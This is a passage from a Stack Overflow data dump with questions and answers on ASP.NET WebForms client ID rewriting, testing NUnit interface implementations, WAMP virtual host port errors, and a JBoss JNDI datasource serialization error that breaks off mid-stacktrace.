"text": "<p>You can extend .net controls and make them return actual id's when related properties are called.</p>\n\n<p>ClientID is the id attribute and UniqueID is the name attribute of html elements. So when you create a textbox like the following and using this instead of the textbox in framework, you make id and name attributes render as the same as the server-side id.</p>\n\n<pre><code>public class MyTextBox : TextBox\n{\n public override string ClientID { get { return ID; } }\n public override string UniqueID { get { return ID; } }\n}\n</code></pre>\n\n<p>To use this new user control, basically register this control as you would do for a custom user control (you can do is in web.config so you won't have to do it in all your pages):</p>\n\n<pre><code><%@ Register Assembly=\"MyLibrary\" NameSpace=\"MyLibrary.WebControls\" TagPrefix=\"MyPrefix\" %>\n</code></pre>\n\n<p>And use it like you would use a text box:</p>\n\n<pre><code><MyPrefix:MyTextBox ID=\"sampleTextBox\" runat=\"server\" />\n</code></pre>\n"
},
{
"answer_id": 39015,
"author": "Glenn Slaven",
"author_id": 2975,
"author_profile": "https://Stackoverflow.com/users/2975",
"pm_score": 6,
"selected": true,
"text": "<p>The short answer is no, with webforms the id can always be rewritten depending on the nesting of the element. You can get access to the id through the ClientID property, so you could set the ids into variables in a script at the end of the page/control then put them into jQuery. </p>\n\n<p>something like this:</p>\n\n<pre><code><asp:button id=\"ImAButton\" runat=\"server\">Click Me</asp:button>\n\n<script type=\"text/javascript\">\nvar buttonId = \"<%=ImAButton.ClientId%>\";\n$(\"#\"+buttonId).bind('click', function() { alert('hi); });\n</script>\n</code></pre>\n\n<p>It's a hack I know, but it will work.\n(I should note for the un-initiated, I'm using the Prototype $ get by id method there)</p>\n"
},
{
"answer_id": 39019,
"author": "Jon Galloway",
"author_id": 5,
"author_profile": "https://Stackoverflow.com/users/5",
"pm_score": 4,
"selected": false,
"text": "<p>One method is to override the ID's manually:</p>\n\n<pre><code>public override string UniqueID\n{\n get { return this.ID; }\n}\npublic override string ClientID\n{\n get { return this.ID; }\n}\n</code></pre>\n\n<p><a href=\"http://www.west-wind.com/WebLog/posts/4605.aspx\" rel=\"nofollow noreferrer\">Rick Strahl wrote a blog post</a> with some more information on that approach.</p>\n"
},
{
"answer_id": 39058,
"author": "Keith",
"author_id": 905,
"author_profile": "https://Stackoverflow.com/users/905",
"pm_score": 3,
"selected": false,
"text": "<p>Look at ASP.Net MVC - it addresses the over-kill object hierarchies that ASP.Net generates by default.</p>\n\n<p>This site is written in MVC (I think) - look at it's structure. Were I working on a new project right now I would consider it first</p>\n\n<p>If you're stuck with basic ASP.Net then be careful overriding the ClientID and UniqueID - it tends to break many web controls.</p>\n\n<p>The best way I've found is to pass the unreadable ClientID out to the Javascript.</p>\n"
},
{
"answer_id": 40143,
"author": "Jason Bunting",
"author_id": 1790,
"author_profile": "https://Stackoverflow.com/users/1790",
"pm_score": 1,
"selected": false,
"text": "<p>Personally, I use a set of methods I have developed for bridging the server-side ASP.NET \"magic\" (I have yet to use the MS MVC stuff yet) and my client-side code because of the munging of the IDs that happens. Here is just one that may or may not prove useful:</p>\n\n<pre><code>public void RegisterControlClientID(Control control)\n{\n string variableDeclaration = string.Format(\"var {0} = \\\"{1}\\\";\", control.ID, control.ClientID);\n ClientScript.RegisterClientScriptBlock(GetType(), control.ID, variableDeclaration, true);\n}\n</code></pre>\n\n<p>So, in your server-side code you simply call this and pass in the instance of a control for which you want to use a friendlier name for. In other words, during <strong>design time</strong>, you may have a textbox with the ID of \"m_SomeTextBox\" and you want to be able to write your JavaScript using that same name - you would simply call this method in your server-side code:</p>\n\n<pre><code>RegisterControlClientID(m_SomeTextBox);\n</code></pre>\n\n<p>And then on the client the following is rendered:</p>\n\n<pre><code>var m_SomeTextBox = \"ctl00_m_ContentPlaceHolder_m_SomeTextBox\";\n</code></pre>\n\n<p>That way all of your JavaScript code can be fairly ignorant of what ASP.NET decides to name the variable. Granted, there are some caveats to this, such as when you have multiple instances of a control on a page (because of using multiple instances of user controls that all have an instance of m_SomeTextBox within them, for example), but generally this method may be useful for your most basic needs.</p>\n"
},
{
"answer_id": 47034,
"author": "Jesús E. Santos",
"author_id": 4547,
"author_profile": "https://Stackoverflow.com/users/4547",
"pm_score": 1,
"selected": false,
"text": "<p>What I usually do is create a general function that receives the name of the field. It adds the usual \"asp.net\" prefix and returns the object.</p>\n\n<pre><code>var elemPrefix = 'ctl00-ContentPlaceHolder-'; //replace the dashes for underscores\n\nvar o = function(name)\n{ \n return document.getElementById(elemPrefix + name)\n}\n</code></pre>\n\n<p>With that you can use this kind of calls in jQuery</p>\n\n<pre><code>$(o('buttonId')).bind('click', function() { alert('hi); });\n</code></pre>\n"
},
{
"answer_id": 51695,
"author": "Ian Oxley",
"author_id": 1904,
"author_profile": "https://Stackoverflow.com/users/1904",
"pm_score": 0,
"selected": false,
"text": "<p>If you're using jQuery then you have loads of <a href=\"http://docs.jquery.com/Selectors\" rel=\"nofollow noreferrer\">CSS selectors and jQuery custome selectors</a> at your disposal to target elements on your page. So rather than picking out a submit button by it's id, you could do something like:</p>\n\n<pre><code>$('fieldset > input[type=\"submit\"]').click(function() {...});\n</code></pre>\n"
},
{
"answer_id": 112815,
"author": "Herb Caudill",
"author_id": 239663,
"author_profile": "https://Stackoverflow.com/users/239663",
"pm_score": 1,
"selected": false,
"text": "<p>You definitely don't want to hard-code the asp.net-generated ID into your CSS, because it can change if you rearrange things on your page in such a way that your control tree changes. </p>\n\n<p>You're right that CSS IDs have their place, so I would ignore the suggestions to just use classes.</p>\n\n<p>The various javascript hacks described here are overkill for a small problem. So is inheriting from a class and overriding the ID property. And it's certainly not helpful to suggest switching to MVC when all you want to do is refactor some CSS.</p>\n\n<p>Just have separate divs and spans that you target with CSS. Don't target the ASP.NET controls directly if you want to use IDs.</p>\n\n<pre><code> <div id=\"DataGridContainer\">\n <asp:datagrid runat=server id=\"DataGrid\" >\n ......\n <asp:datagrid>\n </div>\n</code></pre>\n"
},
{
"answer_id": 1836141,
"author": "Hogan",
"author_id": 215752,
"author_profile": "https://Stackoverflow.com/users/215752",
"pm_score": 0,
"selected": false,
"text": "<p>I can see how the .NET system feels less intuitive, but give it a chance. In my experience it actually ends up creating cleaner code. Sure</p>\n\n<pre><code><asp:button id=\"ImAButton\" runat=\"server\">Click Me</asp:button>\n\n<script type=\"text/javascript\">\nvar buttonId = <%=ImAButton.ClientId%>\n$(buttonId).bind('click', function() { alert('hi); });\n</script>\n</code></pre>\n\n<p>works fine. But this is suffers from not being modular. What you really want is something like this:</p>\n\n<pre><code><script type=\"text/javascript\">\nfunction MakeAClick(inid)\n{\n $(inid).bind('click', function() { alert('hi); });\n}\n</script>\n</code></pre>\n\n<p>and then later with your code on the java side or the C# side you call MakeAClick. Of course on the C# side it makes more sense, you just ClientID in there.</p>\n\n<p>Maybe this is the real problem with the code you are reviewing.</p>\n"
},
{
"answer_id": 35334302,
"author": "FanManPro",
"author_id": 4214582,
"author_profile": "https://Stackoverflow.com/users/4214582",
"pm_score": 0,
"selected": false,
"text": "<p>A much better approach would be to use the ClientIDMode and set it to <code>static</code>. You can even set it for a specific page or globally in the web.config file. Then you never have to deal with this issue again and your JQuery is much cleaner.</p>\n\n<p><strong>Top of page:</strong></p>\n\n<pre><code><%@ Page Title=\"\" ClientIDMode=\"Static\" Language=\"C#\" CodeBehind=\"...\" Inherits=\"WebApplication1.WebForm2\" %>\n</code></pre>\n\n<p><strong>On control only:</strong></p>\n\n<pre><code><asp:Panel runat=\"server\" ClientIDMode=\"Static\"></asp:Panel>\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38998",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3212/"
] | I'm an Information Architect and JavaScript developer by trade nowadays, but recently I've been getting back into back-end coding again. And, whilst trying to get an HTML prototype integrated and working with our C#-based CMS, I've come to blows with our programmers over the HTML ID attributes being arbitrarily rewritten by .NET for form elements.
I can understand the code-behind reasoning for .NET changing IDs, but the fact you can no longer use IDs when trying to develop e.g. jQuery enhanced interfaces is causing some friction. What can I do to work around this?
I've tried using the class attribute instead, but that's really crappy, not what it's meant for and doesn't get around that problem of .NET effectively changing rendered source on the fly. It also means that CSS is less useful now and less efficient to create and maintain.
Any tips or advice greatly appreciated--anything for a few less sleepless nights... | The short answer is no, with webforms the id can always be rewritten depending on the nesting of the element. You can get access to the id through the ClientID property, so you could set the ids into variables in a script at the end of the page/control then put them into jQuery.
something like this:
```
<asp:button id="ImAButton" runat="server">Click Me</asp:button>
<script type="text/javascript">
var buttonId = "<%=ImAButton.ClientId%>";
$("#"+buttonId).bind('click', function() { alert('hi); });
</script>
```
It's a hack I know, but it will work.
(I should note for the un-initiated, I'm using the Prototype $ get by id method there) |
39,003 | <p>If I have interface IFoo, and have several classes that implement it, what is the best/most elegant/cleverest way to test all those classes against the interface?</p>
<p>I'd like to reduce test code duplication, but still 'stay true' to the principles of Unit testing.</p>
<p>What would you consider best practice? I'm using NUnit, but I suppose examples from any Unit testing framework would be valid</p>
| [
{
"answer_id": 39008,
"author": "graham.reeds",
"author_id": 342,
"author_profile": "https://Stackoverflow.com/users/342",
"pm_score": 0,
"selected": false,
"text": "<p>I don't use NUnit but I have tested C++ interfaces. I would first test a TestFoo class which is a basic implementation of it to make sure the generic stuff works. Then you just need to test the stuff that is unique to each interface.</p>\n"
},
{
"answer_id": 39034,
"author": "Spoike",
"author_id": 3713,
"author_profile": "https://Stackoverflow.com/users/3713",
"pm_score": 5,
"selected": true,
"text": "<p>If you have classes implement any one interface then they all need to implement the methods in that interface. In order to test these classes you need to create a unit test class for each of the classes.</p>\n\n<p>Lets go with a smarter route instead; if your goal is to <strong>avoid code and test code duplication</strong> you might want to create an abstract class instead that handles the <strong>recurring</strong> code. </p>\n\n<p>E.g. you have the following interface:</p>\n\n<pre><code>public interface IFoo {\n\n public void CommonCode();\n\n public void SpecificCode();\n\n}\n</code></pre>\n\n<p>You might want to create an abstract class:</p>\n\n<pre><code>public abstract class AbstractFoo : IFoo {\n\n public void CommonCode() {\n SpecificCode();\n }\n\n public abstract void SpecificCode();\n\n}\n</code></pre>\n\n<p>Testing that is easy; implement the abstract class in the test class either as an inner class:</p>\n\n<pre><code>[TestFixture]\npublic void TestClass {\n\n private class TestFoo : AbstractFoo {\n boolean hasCalledSpecificCode = false;\n public void SpecificCode() {\n hasCalledSpecificCode = true;\n }\n }\n\n [Test]\n public void testCommonCallsSpecificCode() {\n TestFoo fooFighter = new TestFoo();\n fooFighter.CommonCode();\n Assert.That(fooFighter.hasCalledSpecificCode, Is.True());\n }\n}\n</code></pre>\n\n<p>...or let the test class extend the abstract class itself if that fits your fancy.</p>\n\n<pre><code>[TestFixture]\npublic void TestClass : AbstractFoo {\n\n boolean hasCalledSpecificCode;\n public void specificCode() {\n hasCalledSpecificCode = true;\n }\n\n [Test]\n public void testCommonCallsSpecificCode() {\n AbstractFoo fooFighter = this;\n hasCalledSpecificCode = false;\n fooFighter.CommonCode();\n Assert.That(fooFighter.hasCalledSpecificCode, Is.True());\n } \n\n}\n</code></pre>\n\n<p>Having an abstract class take care of common code that an interface implies gives a much cleaner code design. </p>\n\n<p>I hope this makes sense to you.</p>\n\n<hr>\n\n<p>As a side note, this is a common design pattern called the <strong><a href=\"http://en.wikipedia.org/wiki/Template_method_pattern\" rel=\"nofollow noreferrer\">Template Method pattern</a></strong>. In the above example, the template method is the <code>CommonCode</code> method and <code>SpecificCode</code> is called a stub or a hook. The idea is that anyone can extend behavior without the need to know the behind the scenes stuff.</p>\n\n<p>A lot of frameworks rely on this behavioral pattern, e.g. <a href=\"http://msdn.microsoft.com/en-us/library/ms178472.aspx\" rel=\"nofollow noreferrer\">ASP.NET</a> where you have to implement the hooks in a page or a user controls such as the generated <code>Page_Load</code> method which is called by the <code>Load</code> event, the template method calls the hooks behind the scenes. There are a lot more examples of this. Basically anything that you have to implement that is using the words \"load\", \"init\", or \"render\" is called by a template method.</p>\n"
},
{
"answer_id": 39036,
"author": "Jon Limjap",
"author_id": 372,
"author_profile": "https://Stackoverflow.com/users/372",
"pm_score": 2,
"selected": false,
"text": "<p>I don't think this is best practice. </p>\n\n<p>The simple truth is that an interface is nothing more than a contract that a method is implemented. It is <em>not</em> a contract on either a.) how the method should be implemented and b.) what that method should be doing exactly (it only guarantees the return type), the two reasons that I glean would be your motive in wanting this kind of test.</p>\n\n<p>If you really want to be in control of your method implementation, you have the option of:</p>\n\n<ul>\n<li>Implementing it as a method in an abstract class, and inherit from that. You will still need to inherit it into a concrete class, but you are sure that unless it is explicitly overriden that method will do that correct thing.</li>\n<li>In .NET 3.5/C# 3.0, implementing the method as an extension method referencing to the Interface</li>\n</ul>\n\n<p>Example:</p>\n\n<pre><code>public static ReturnType MethodName (this IMyinterface myImplementation, SomeObject someParameter)\n{\n //method body goes here\n}\n</code></pre>\n\n<p>Any implementation properly referencing to that extension method will emit precisely that extension method so you only need to test it once.</p>\n"
},
{
"answer_id": 39363,
"author": "James A. Rosen",
"author_id": 1190,
"author_profile": "https://Stackoverflow.com/users/1190",
"pm_score": 4,
"selected": false,
"text": "<p>I disagree with <a href=\"https://stackoverflow.com/questions/39003/nunit-how-to-test-all-classes-that-implement-a-particular-interface#39036\">Jon Limjap</a> when he says,</p>\n\n<blockquote>\n <p>It is not a contract on either a.) how the method should be implemented and b.) what that method should be doing exactly (it only guarantees the return type), the two reasons that I glean would be your motive in wanting this kind of test.</p>\n</blockquote>\n\n<p>There could be many parts of the contract not specified in the return type. A language-agnostic example:</p>\n\n<pre><code>public interface List {\n\n // adds o and returns the list\n public List add(Object o);\n\n // removed the first occurrence of o and returns the list\n public List remove(Object o);\n\n}\n</code></pre>\n\n<p>Your unit tests on LinkedList, ArrayList, CircularlyLinkedList, and all the others should test not only that the lists themselves are returned, but also that they have been properly modified.</p>\n\n<p>There was an <a href=\"https://stackoverflow.com/questions/26455/does-design-by-contract-work-for-you#34811\">earlier question</a> on design-by-contract, which can help point you in the right direction on one way of DRYing up these tests.</p>\n\n<p>If you don't want the overhead of contracts, I recommend test rigs, along the lines of what <a href=\"https://stackoverflow.com/questions/39003/nunit-how-to-test-all-classes-that-implement-a-particular-interface#39034\">Spoike</a> recommended:</p>\n\n<pre><code>abstract class BaseListTest {\n\n abstract public List newListInstance();\n\n public void testAddToList() {\n // do some adding tests\n }\n\n public void testRemoveFromList() {\n // do some removing tests\n }\n\n}\n\nclass ArrayListTest < BaseListTest {\n List newListInstance() { new ArrayList(); }\n\n public void arrayListSpecificTest1() {\n // test something about ArrayLists beyond the List requirements\n }\n}\n</code></pre>\n"
},
{
"answer_id": 40959,
"author": "Emperor XLII",
"author_id": 2495,
"author_profile": "https://Stackoverflow.com/users/2495",
"pm_score": 1,
"selected": false,
"text": "<p>When testing an interface or base class contract, I prefer to let the test framework automatically take care of finding all of the implementers. This lets you concentrate on the interface under test and be reasonably sure that all implementations will be tested, without having to do a lot of manual implementation.</p>\n\n<ul>\n<li>For <a href=\"http://www.codeplex.com/xunit\" rel=\"nofollow noreferrer\">xUnit.net</a>, I created a <a href=\"http://www.codeplex.com/TypeResolver\" rel=\"nofollow noreferrer\">Type Resolver</a> library to search for all implementations of a particular type (the xUnit.net extensions are just a thin wrapper over the Type Resolver functionality, so it can be adapted for use in other frameworks).</li>\n<li>In <a href=\"http://www.mbunit.com/\" rel=\"nofollow noreferrer\">MbUnit</a>, you can use a <a href=\"http://weblogs.asp.net/astopford/archive/2008/08/29/mbunit-combinatorial-test.aspx\" rel=\"nofollow noreferrer\"><code>CombinatorialTest</code></a> with <code>UsingImplementations</code> attributes on the parameters.</li>\n<li>For other frameworks, the base class pattern <a href=\"https://stackoverflow.com/questions/39003/nunit-how-to-test-all-classes-that-implement-a-particular-interface#39034\">Spoike</a> mentioned can be useful.</li>\n</ul>\n\n<p>Beyond testing the basics of the interface, you should also test that each individual implementation follows its particular requirements.</p>\n"
},
{
"answer_id": 61561,
"author": "Andrei Rînea",
"author_id": 1796,
"author_profile": "https://Stackoverflow.com/users/1796",
"pm_score": 1,
"selected": false,
"text": "<p>How about a hierarchy of [TestFixture]s classes? Put the common test code in the base test class and inherit it into child test classes..</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39003",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3024/"
] | If I have interface IFoo, and have several classes that implement it, what is the best/most elegant/cleverest way to test all those classes against the interface?
I'd like to reduce test code duplication, but still 'stay true' to the principles of Unit testing.
What would you consider best practice? I'm using NUnit, but I suppose examples from any Unit testing framework would be valid | If you have classes implement any one interface then they all need to implement the methods in that interface. In order to test these classes you need to create a unit test class for each of the classes.
Lets go with a smarter route instead; if your goal is to **avoid code and test code duplication** you might want to create an abstract class instead that handles the **recurring** code.
E.g. you have the following interface:
```
public interface IFoo {
public void CommonCode();
public void SpecificCode();
}
```
You might want to create an abstract class:
```
public abstract class AbstractFoo : IFoo {
public void CommonCode() {
SpecificCode();
}
public abstract void SpecificCode();
}
```
Testing that is easy; implement the abstract class in the test class either as an inner class:
```
[TestFixture]
public void TestClass {
private class TestFoo : AbstractFoo {
boolean hasCalledSpecificCode = false;
public void SpecificCode() {
hasCalledSpecificCode = true;
}
}
[Test]
public void testCommonCallsSpecificCode() {
TestFoo fooFighter = new TestFoo();
fooFighter.CommonCode();
Assert.That(fooFighter.hasCalledSpecificCode, Is.True());
}
}
```
...or let the test class extend the abstract class itself if that fits your fancy.
```
[TestFixture]
public void TestClass : AbstractFoo {
boolean hasCalledSpecificCode;
public void specificCode() {
hasCalledSpecificCode = true;
}
[Test]
public void testCommonCallsSpecificCode() {
AbstractFoo fooFighter = this;
hasCalledSpecificCode = false;
fooFighter.CommonCode();
Assert.That(fooFighter.hasCalledSpecificCode, Is.True());
}
}
```
Having an abstract class take care of common code that an interface implies gives a much cleaner code design.
I hope this makes sense to you.
---
As a side note, this is a common design pattern called the **[Template Method pattern](http://en.wikipedia.org/wiki/Template_method_pattern)**. In the above example, the template method is the `CommonCode` method and `SpecificCode` is called a stub or a hook. The idea is that anyone can extend behavior without the need to know the behind the scenes stuff.
A lot of frameworks rely on this behavioral pattern, e.g. [ASP.NET](http://msdn.microsoft.com/en-us/library/ms178472.aspx) where you have to implement the hooks in a page or a user controls such as the generated `Page_Load` method which is called by the `Load` event, the template method calls the hooks behind the scenes. There are a lot more examples of this. Basically anything that you have to implement that is using the words "load", "init", or "render" is called by a template method. |
39,006 | <p>I'm running WAMP v2.0 on WindowsXP and I've got a bunch of virtual hosts setup in the http-vhosts.conf file.</p>
<p>This was working, but in the last week whenever I try & start WAMP I get this error in the event logs:</p>
<blockquote>
<p>VirtualHost *:80 -- mixing * ports and
non-* ports with a NameVirtualHost
address is not supported, proceeding
with undefined results.</p>
</blockquote>
<p>and the server won't start. I can't think of what's changed. </p>
<p>I've copied the conf file below.</p>
<pre><code>NameVirtualHost *
<VirtualHost *:80>
ServerName dev.blog.slaven.net.au
ServerAlias dev.blog.slaven.net.au
ServerAdmin [email protected]
DocumentRoot "c:/Project Data/OtherProjects/slaven.net.au/blog/"
ErrorLog "logs/blog.slaven.localhost-error.log"
CustomLog "logs/blog.slaven.localhost-access.log" common
<Directory "c:/Project Data/OtherProjects/slaven.net.au/blog/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
</code></pre>
<p><strong>EDIT:</strong> I meant to add, if I change the NameVirtualHosts directive to specify a port, i.e</p>
<pre><code>NameVirtualHost *:80
</code></pre>
<p>I get this error:</p>
<blockquote>
<p>Only one usage of each socket address (protocol/network address/port) is normally permitted. : make_sock: could not bind to address 0.0.0.0:80 </p>
</blockquote>
| [
{
"answer_id": 39287,
"author": "dguaraglia",
"author_id": 2384,
"author_profile": "https://Stackoverflow.com/users/2384",
"pm_score": 0,
"selected": false,
"text": "<p>Well, it seems the problem there is the way (and order) in which you assign the ports. </p>\n\n<p>Basically, *:80 means \"use port 80 for all hosts in this configuration\". When you do this, Apache tries to bind that host to 0.0.0.0:80, which means that host will receive every single packet coming to the machine through port 80, regardless of what virtual host it was intended to go to. That's something you should use only once, and only if you have <em>one</em> host in that configuration.</p>\n\n<p>Thus, if you have the same *:80 directive on two hosts in the configuration file, the server won't load because it will try to bind 0.0.0.0:80 twice, failing on the second try. (which explains the \"Only one usage of each socket address (protocol/network address/port) is normally permitted. : make_sock: could not bind to address 0.0.0.0:80\" message).</p>\n"
},
{
"answer_id": 39321,
"author": "nohj",
"author_id": 2953,
"author_profile": "https://Stackoverflow.com/users/2953",
"pm_score": 3,
"selected": true,
"text": "<blockquote>\n <p>NameVirtualHost *:80</p>\n \n <p>I get this error:</p>\n \n <p>Only one usage of each socket address (protocol/network address/port) is normally >permitted. : make_sock: could not bind to address 0.0.0.0:80</p>\n</blockquote>\n\n<p>I think this might be because you have somthing else listening to port 80. Do you have any other servers (or for example Skype) running?</p>\n\n<p>(If it was Skype: untick \"Tools > Options > Advanced > Connection > Use port 80 and 443 as alternatives for incoming connections\")</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39006",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2975/"
] | I'm running WAMP v2.0 on WindowsXP and I've got a bunch of virtual hosts setup in the http-vhosts.conf file.
This was working, but in the last week whenever I try & start WAMP I get this error in the event logs:
>
> VirtualHost \*:80 -- mixing \* ports and
> non-\* ports with a NameVirtualHost
> address is not supported, proceeding
> with undefined results.
>
>
>
and the server won't start. I can't think of what's changed.
I've copied the conf file below.
```
NameVirtualHost *
<VirtualHost *:80>
ServerName dev.blog.slaven.net.au
ServerAlias dev.blog.slaven.net.au
ServerAdmin [email protected]
DocumentRoot "c:/Project Data/OtherProjects/slaven.net.au/blog/"
ErrorLog "logs/blog.slaven.localhost-error.log"
CustomLog "logs/blog.slaven.localhost-access.log" common
<Directory "c:/Project Data/OtherProjects/slaven.net.au/blog/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
```
**EDIT:** I meant to add, if I change the NameVirtualHosts directive to specify a port, i.e
```
NameVirtualHost *:80
```
I get this error:
>
> Only one usage of each socket address (protocol/network address/port) is normally permitted. : make\_sock: could not bind to address 0.0.0.0:80
>
>
> | >
> NameVirtualHost \*:80
>
>
> I get this error:
>
>
> Only one usage of each socket address (protocol/network address/port) is normally >permitted. : make\_sock: could not bind to address 0.0.0.0:80
>
>
>
I think this might be because you have somthing else listening to port 80. Do you have any other servers (or for example Skype) running?
(If it was Skype: untick "Tools > Options > Advanced > Connection > Use port 80 and 443 as alternatives for incoming connections") |
39,053 | <p>I'm trying to access a data source that is defined within a web container (JBoss) from a fat client outside the container.</p>
<p>I've decided to look up the data source through JNDI. Actually, my persistence framework (Ibatis) does this.</p>
<p>When performing queries I always end up getting this error:</p>
<pre><code>java.lang.IllegalAccessException: Method=public abstract java.sql.Connection java.sql.Statement.getConnection() throws java.sql.SQLException does not return Serializable
Stacktrace:
org.jboss.resource.adapter.jdbc.remote.WrapperDataSourceService.doStatementMethod(WrapperDataSourceS
ervice.java:411),
org.jboss.resource.adapter.jdbc.remote.WrapperDataSourceService.invoke(WrapperDataSourceService.java
:223),
sun.reflect.GeneratedMethodAccessor106.invoke(Unknown Source),
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25),
java.lang.reflect.Method.invoke(Method.java:585),
org.jboss.mx.interceptor.ReflectedDispatcher.invoke(ReflectedDispatcher.java:155),
org.jboss.mx.server.Invocation.dispatch(Invocation.java:94),
org.jboss.mx.server.Invocation.invoke(Invocation.java:86),
org.jboss.mx.server.AbstractMBeanInvoker.invoke(AbstractMBeanInvoker.java:264),
org.jboss.mx.server.MBeanServerImpl.invoke(MBeanServerImpl.java:659),
</code></pre>
<p>My Datasource:</p>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
<jndi-name>jdbc/xxxxxDS</jndi-name>
<connection-url>jdbc:oracle:thin:@xxxxxxxxx:1521:xxxxxxx</connection-url>
<use-java-context>false</use-java-context>
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
<user-name>xxxxxxxx</user-name>
<password>xxxxxx</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.OracleExceptionSorter</exception-sorter-class-name>
<min-pool-size>5</min-pool-size>
<max-pool-size>20</max-pool-size>
</local-tx-datasource>
</datasources>
</code></pre>
<p>Does anyone have a clue where this could come from? </p>
<p>Maybe someone even knows a better way how to achieve this.
Any hints are much appreciated!</p>
<p>Cheers,</p>
<p>Michael</p>
| [
{
"answer_id": 39153,
"author": "brabster",
"author_id": 2362,
"author_profile": "https://Stackoverflow.com/users/2362",
"pm_score": 0,
"selected": false,
"text": "<p>I think the exception indicates that the SQLConnection object you're trying to retrieve doesn't implement the Serializable interface, so it can't be passed to you the way you asked for it.</p>\n\n<p>From the limited work I've done with JDNI, if you're asking for an object via JNDI it must be serializable. As far as I know, there's no way round that - if I think of a better way I'll post it up...</p>\n\n<p>OK, one obvious option is to provide a serializable object local to the datasource that uses it but doesn't have the datasource as part of its serializable object graph. The fat client could then look up that object and query it instead.</p>\n\n<p>Or create a (web?) service through which to access the datasource is governed - again your fat client would hit the service - this would probably be better encapsulated and more reuseable approach if those are concerns for you.</p>\n"
},
{
"answer_id": 39513,
"author": "toolkit",
"author_id": 3295,
"author_profile": "https://Stackoverflow.com/users/3295",
"pm_score": 1,
"selected": false,
"text": "<p>Not sure if this is the same issue?</p>\n\n<p><a href=\"http://www.redhat.com/docs/manuals/jboss/jboss-eap-4.2/doc/Server_Configuration_Guide/Connectors_on_JBoss-Configuring_JDBC_DataSources.html\" rel=\"nofollow noreferrer\">JBoss DataSource config</a></p>\n\n<blockquote>\n <p>DataSource wrappers are not usable outside of the server VM</p>\n</blockquote>\n"
},
{
"answer_id": 39694,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>@toolkit:\nWell, not exactly. Since I can access the data source over JNDI, it is actually visible and thus usable. </p>\n\n<p>Or am I getting something totally wrong?</p>\n\n<p>@Brabster:\nI think you're on the right track. Isn't there a way to make the connection serializable? Maybe it's just a configuration issue...</p>\n"
},
{
"answer_id": 41611,
"author": "brabster",
"author_id": 2362,
"author_profile": "https://Stackoverflow.com/users/2362",
"pm_score": 1,
"selected": false,
"text": "<p>@Michael Well, java.sql.Connection is an Interface - it might technically be possible for the concrete implementation you're getting from JBoss to be Serializable - but I don't think you're really going to have any options you can use. If it was possible, it would probably be easy :)</p>\n\n<p>I think @toolkit might have said the right words with useable outside the VM - the JDBC drivers will be talking to native driver code running in the underlying OS I guess, so that might explain why you can't just pass a connection over the network elsewhere.</p>\n\n<p>My advice, (if you don't get any better advice!) would be to find a different approach - if you have access to locate the resource on the JBoss directory, maybe implement a proxy object that you can locate and obtain from the directory that allows you to use the connection remotely from your fat client. That's a design pattern called data transfer object I think <a href=\"http://en.wikipedia.org/wiki/Data_Transfer_Object\" rel=\"nofollow noreferrer\">Wikipedia entry</a></p>\n"
},
{
"answer_id": 42177,
"author": "brabster",
"author_id": 2362,
"author_profile": "https://Stackoverflow.com/users/2362",
"pm_score": 0,
"selected": false,
"text": "<p>I've read up on Ibatis now - maybe you can make your implementations of Dao etc. Serializable, post them into your directory and so retrieve them and use them in your fat client? You'd get reuse benefits out of that too.</p>\n\n<p>Here's an example of something looks similar for <a href=\"http://cwiki.apache.org/WICKET/ibatis.html\" rel=\"nofollow noreferrer\">Wicket</a></p>\n"
},
{
"answer_id": 55499,
"author": "Tim Williscroft",
"author_id": 2789,
"author_profile": "https://Stackoverflow.com/users/2789",
"pm_score": 0,
"selected": false,
"text": "<p>JBoss wraps up all DataSources with it's own ones.</p>\n\n<p>That lets it play tricks with autocommit to get the specified J2EE behaviour out of a JDBC connection. They are <em>mostly</em> serailizable. But you needn't trust them.</p>\n\n<p>I'd look carefully at it's wrappers. I've written a surrogate for JBoss's J2EE wrappers wrapper for JDBC that works with OOCJNDI to get my DAO code unit test-able standalone.</p>\n\n<p></p>\n\n<p>You just wrap java.sql.Driver, point OOCJNDI at your class, and run in JUnit.</p>\n\n<p>The Driver wrapper can just directly create a SQL Driver and delegate to it.</p>\n\n<p>Return a java.sql.Connection wrapper of your own devising on Connect.</p>\n\n<p>A ConnectionWrapper can just wrap the Connection your Oracle driver gives you,\nand all it does special is set Autocommit true.</p>\n\n<p>Don't forget Eclipse can wrt delgates for you. Add a member you need to delegate to , then select it and right click, source -=>add delgage methods. </p>\n\n<p>This is great when you get paid by the line ;-)</p>\n\n<p>Bada-bing, Bada-boom, JUnit out of the box J2EE testing.</p>\n\n<p>Your problem is probably amenable to the same thing, with JUnit crossed out and FatCLient written in an crayon.</p>\n\n<p>My FatClient uses RMI generated with xdoclet to talk to the J2EE server, so I don't have your problem.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39053",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] | I'm trying to access a data source that is defined within a web container (JBoss) from a fat client outside the container.
I've decided to look up the data source through JNDI. Actually, my persistence framework (Ibatis) does this.
When performing queries I always end up getting this error:
```
java.lang.IllegalAccessException: Method=public abstract java.sql.Connection java.sql.Statement.getConnection() throws java.sql.SQLException does not return Serializable
Stacktrace:
org.jboss.resource.adapter.jdbc.remote.WrapperDataSourceService.doStatementMethod(WrapperDataSourceS
ervice.java:411),
org.jboss.resource.adapter.jdbc.remote.WrapperDataSourceService.invoke(WrapperDataSourceService.java
:223),
sun.reflect.GeneratedMethodAccessor106.invoke(Unknown Source),
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25),
java.lang.reflect.Method.invoke(Method.java:585),
